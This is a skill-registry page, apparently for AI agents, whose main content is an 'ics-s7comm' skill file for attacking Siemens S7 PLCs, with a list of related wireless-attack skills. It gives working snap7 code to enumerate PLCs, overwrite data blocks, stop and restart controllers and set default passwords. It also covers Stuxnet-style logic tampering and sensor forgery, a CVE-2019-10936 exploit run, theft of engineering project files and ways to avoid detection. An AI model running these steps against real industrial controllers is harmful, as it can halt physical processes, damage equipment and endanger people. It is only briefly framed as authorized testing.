[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EJ41YMCPD3TM317P89XSR1":3,"skill-same:01M7EJ41YMCPD3TM317P89XSR1":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M7EJ41YMCPD3TM317P89XSR1","ics-s7comm",null,"Siemens S7 PLC attack — TCP\u002F102 ISO-TP+S7-COMM, snap7 \u002F python-snap7 enumeration, DB\u002FM\u002FE\u002FA area read+write, PLC stop\u002Fstart\u002Frun, password bypass (S7-300\u002F400 vs S7-1200\u002F1500 differences), CVE chain (e.g., Stuxnet's legacy primitives, CVE-2019-10936).","a18268941610-crypto\u002FDecepticon-shentou","a18268941610-crypto","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F241464571?v=4","01M7EHA2V2KTCYTX78QJKXCZ8Y","fubai","01M7EHA2VKDD5RCWJJKC0ZA101",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fs7comm\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: ics-s7comm\ndescription: \"Siemens S7 PLC attack — TCP\u002F102 ISO-TP+S7-COMM, snap7 \u002F python-snap7 enumeration, DB\u002FM\u002FE\u002FA area read+write, PLC stop\u002Fstart\u002Frun, password bypass (S7-300\u002F400 vs S7-1200\u002F1500 differences), CVE chain (e.g., Stuxnet's legacy primitives, CVE-2019-10936).\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"siemens s7 s7comm s7-300 s7-400 s7-1200 s7-1500 plc tia portal iso-tp tsap 102 snap7 step7\"\n  subdomain: ics-ot\n  tags: siemens, s7, plc, ics, ot\n  mitre_attack: T0855, T0836, T0816\n---\n\n# Siemens S7 PLC Attack\n\nS7Comm runs over ISO-on-TCP (RFC 1006), TCP\u002F102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.\n\n## Discover\n\n```bash\nnmap -p 102 --script=s7-info 10.0.0.0\u002F24\n# s7-info NSE returns Module Type, Order Code, Firmware, PLC name\n\n# Or with snap7\npython3 -c '\nimport snap7\nc = snap7.client.Client()\nc.connect(\"10.0.0.50\", 0, 1)        # IP, rack, slot\nprint(c.get_cpu_info())\nprint(c.get_cp_info())\nprint(c.get_order_code())\n'\n```\n\n## Read \u002F Write data blocks\n\nS7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).\n\n```python\nimport snap7\nfrom snap7 import util\n\nc = snap7.client.Client()\nc.connect(\"10.0.0.50\", 0, 1)\n\n# Read 100 bytes from DB10\ndata = c.db_read(10, 0, 100)\n# Decode:\nprint(\"DB10.DBX0.0 (bit):\", util.get_bool(data, 0, 0))\nprint(\"DB10.DBW2 (int):\",   util.get_int(data, 2))\nprint(\"DB10.DBD4 (real):\",  util.get_real(data, 4))\n\n# Write back\nutil.set_real(data, 4, 99.9)\nc.db_write(10, 0, data)\n```\n\n## Stop \u002F Start the PLC\n\n```python\nc.plc_stop()          # ⚠ halts execution of the user program — process stops\nc.plc_hot_start()     # Resume\nc.plc_cold_start()    # Restart with full init\n# Each is unauthenticated on S7-300\u002F400 by default.\n```\n\n## Authentication \u002F \"Protection Level\" differences\n\n| PLC family | Default protection | Bypass class |\n|---|---|---|\n| S7-300\u002F400 | Often none (\"No Protection\") | Direct |\n| S7-1200 (FW \u003C V4) | None or password (cleartext on wire) | Sniff password |\n| S7-1200 (FW V4+) | Password + challenge-response | Replay session, weak hash |\n| S7-1500 | Password + challenge | CVE-2019-10936 (info leak), then offline crack |\n\n```python\n# S7-1200\u002F1500 password auth via snap7's set_session_password\nc.set_session_password(\"changeme\")\n# Common defaults: \"0000000\", \"siemens\", \"100\", blank, vendor name\n```\n\n## Stuxnet-class primitives (S7-300\u002F400 still in many old fleets)\n\n- **Function block tampering**: write a custom FB that replaces an existing one — process logic silently changes.\n- **OB1 hook**: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle.\n- **PROFIBUS frame injection** (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven.\n\n```python\n# Write a DB byte that's a control flag in the PLC program\nc.write_area(0x84, 1, 0, bytearray([0xFF]))   # write to DB1 byte 0\n```\n\n## CVE-2019-10936 — info leak on S7-1200\u002F1500\n\nSend a crafted COTP packet → PLC returns memory regions (uncovered password hash on some firmwares):\n\n```bash\n# PoC: github.com\u002FNibblesec\u002Fs7-info-leak\npython3 leak.py 10.0.0.50\n```\n\n## TIA Portal interaction\n\nIf you have network access to TIA Portal (the engineering workstation) instead of just the PLC, you can:\n- Steal the project file (`.ap16`) — contains every PLC's logic, comments, possibly password hashes\n- Replace the project being deployed to inject persistent logic changes\n- Default TIA Portal SQL — port 1433 with default sa \u002F no password on older installs\n\n## OPSEC + safety\n\n- **Physical safety**: `plc_stop()` halts whatever the PLC controls. Pumps stop, valves freeze in last state, motors coast. Confirm scope authorization for stop-class testing.\n- Read-only enumeration is generally safe and silent. S7 has no audit log.\n- IT-OT IDS (Claroty, Nozomi, Dragos) flags new S7Comm sources — first connection from your IP is loud.\n- Siemens TIA Portal logs every project upload\u002Fdownload. Tampering with logic is detectable post-engagement during the next checksum review.\n\n## References\n\n- snap7 docs — snap7.sourceforge.net\n- \"The S7Comm protocol\" — Wireshark dissector docs\n- ICS-CERT advisories on Siemens products (https:\u002F\u002Fwww.cisa.gov\u002Fuscert\u002Fics\u002Fadvisories)\n- \"Stuxnet Deep Dive\" — Ralph Langner (still the canonical reference)\n","# Siemens S7 PLC Attack\n\nS7Comm runs over ISO-on-TCP (RFC 1006), TCP\u002F102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.\n\n## Discover\n\n```bash\nnmap -p 102 --script=s7-info 10.0.0.0\u002F24\n# s7-info NSE returns Module Type, Order Code, Firmware, PLC name\n\n# Or with snap7\npython3 -c '\nimport snap7\nc = snap7.client.Client()\nc.connect(\"10.0.0.50\", 0, 1)        # IP, rack, slot\nprint(c.get_cpu_info())\nprint(c.get_cp_info())\nprint(c.get_order_code())\n'\n```\n\n## Read \u002F Write data blocks\n\nS7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).\n\n```python\nimport snap7\nfrom snap7 import util\n\nc = snap7.client.Client()\nc.connect(\"10.0.0.50\", 0, 1)\n\n# Read 100 bytes from DB10\ndata = c.db_read(10, 0, 100)\n# Decode:\nprint(\"DB10.DBX0.0 (bit):\", util.get_bool(data, 0, 0))\nprint(\"DB10.DBW2 (int):\",   util.get_int(data, 2))\nprint(\"DB10.DBD4 (real):\",  util.get_real(data, 4))\n\n# Write back\nutil.set_real(data, 4, 99.9)\nc.db_write(10, 0, data)\n```\n\n## Stop \u002F Start the PLC\n\n```python\nc.plc_stop()          # ⚠ halts execution of the user program — process stops\nc.plc_hot_start()     # Resume\nc.plc_cold_start()    # Restart with full init\n# Each is unauthenticated on S7-300\u002F400 by default.\n```\n\n## Authentication \u002F \"Protection Level\" differences\n\n| PLC family | Default protection | Bypass class |\n|---|---|---|\n| S7-300\u002F400 | Often none (\"No Protection\") | Direct |\n| S7-1200 (FW \u003C V4) | None or password (cleartext on wire) | Sniff password |\n| S7-1200 (FW V4+) | Password + challenge-response | Replay session, weak hash |\n| S7-1500 | Password + challenge | CVE-2019-10936 (info leak), then offline crack |\n\n```python\n# S7-1200\u002F1500 password auth via snap7's set_session_password\nc.set_session_password(\"changeme\")\n# Common defaults: \"0000000\", \"siemens\", \"100\", blank, vendor name\n```\n\n## Stuxnet-class primitives (S7-300\u002F400 still in many old fleets)\n\n- **Function block tampering**: write a custom FB that replaces an existing one — process logic silently changes.\n- **OB1 hook**: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle.\n- **PROFIBUS frame injection** (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven.\n\n```python\n# Write a DB byte that's a control flag in the PLC program\nc.write_area(0x84, 1, 0, bytearray([0xFF]))   # write to DB1 byte 0\n```\n\n## CVE-2019-10936 — info leak on S7-1200\u002F1500\n\nSend a crafted COTP packet → PLC returns memory regions (uncovered password hash on some firmwares):\n\n```bash\n# PoC: github.com\u002FNibblesec\u002Fs7-info-leak\npython3 leak.py 10.0.0.50\n```\n\n## TIA Portal interaction\n\nIf you have network access to TIA Portal (the engineering workstation) instead of just the PLC, you can:\n- Steal the project file (`.ap16`) — contains every PLC's logic, comments, possibly password hashes\n- Replace the project being deployed to inject persistent logic changes\n- Default TIA Portal SQL — port 1433 with default sa \u002F no password on older installs\n\n## OPSEC + safety\n\n- **Physical safety**: `plc_stop()` halts whatever the PLC controls. Pumps stop, valves freeze in last state, motors coast. Confirm scope authorization for stop-class testing.\n- Read-only enumeration is generally safe and silent. S7 has no audit log.\n- IT-OT IDS (Claroty, Nozomi, Dragos) flags new S7Comm sources — first connection from your IP is loud.\n- Siemens TIA Portal logs every project upload\u002Fdownload. Tampering with logic is detectable post-engagement during the next checksum review.\n\n## References\n\n- snap7 docs — snap7.sourceforge.net\n- \"The S7Comm protocol\" — Wireshark dissector docs\n- ICS-CERT advisories on Siemens products (https:\u002F\u002Fwww.cisa.gov\u002Fuscert\u002Fics\u002Fadvisories)\n- \"Stuxnet Deep Dive\" — Ralph Langner (still the canonical reference)\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"siemens, s7, plc, ics, ot","ics-ot","siemens s7 s7comm s7-300 s7-400 s7-1200 s7-1500 plc tia portal iso-tp tsap 102 snap7 step7","T0855, T0836, T0816","Bash Read Write","main","d6bfd87ad9f910cfff715da04c804638990a8538","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fs7comm",1,"https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto","2026-10-12 03:35:17",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add a18268941610-crypto\u002FDecepticon-shentou --skill ics-s7comm",{"tool":43,"command":44},"bunx","bunx skills add a18268941610-crypto\u002FDecepticon-shentou --skill ics-s7comm",{"tool":46,"command":47},"pnpm","pnpm dlx skills add a18268941610-crypto\u002FDecepticon-shentou --skill ics-s7comm","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fs7comm\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M7EJXTEFYQPHY32431RWJENT","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M7EJXHKBXYF3QSYNW5YSK10H","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M7EJXAC5W1C1MACKKP1RRT8K","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M7EJX02A5FFBM2V7VG52GNSK","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M7EJWNRRMBRZQTKH3VFYAK58","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M7EJWB0CC58R8Z4HW6YRQCZW","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]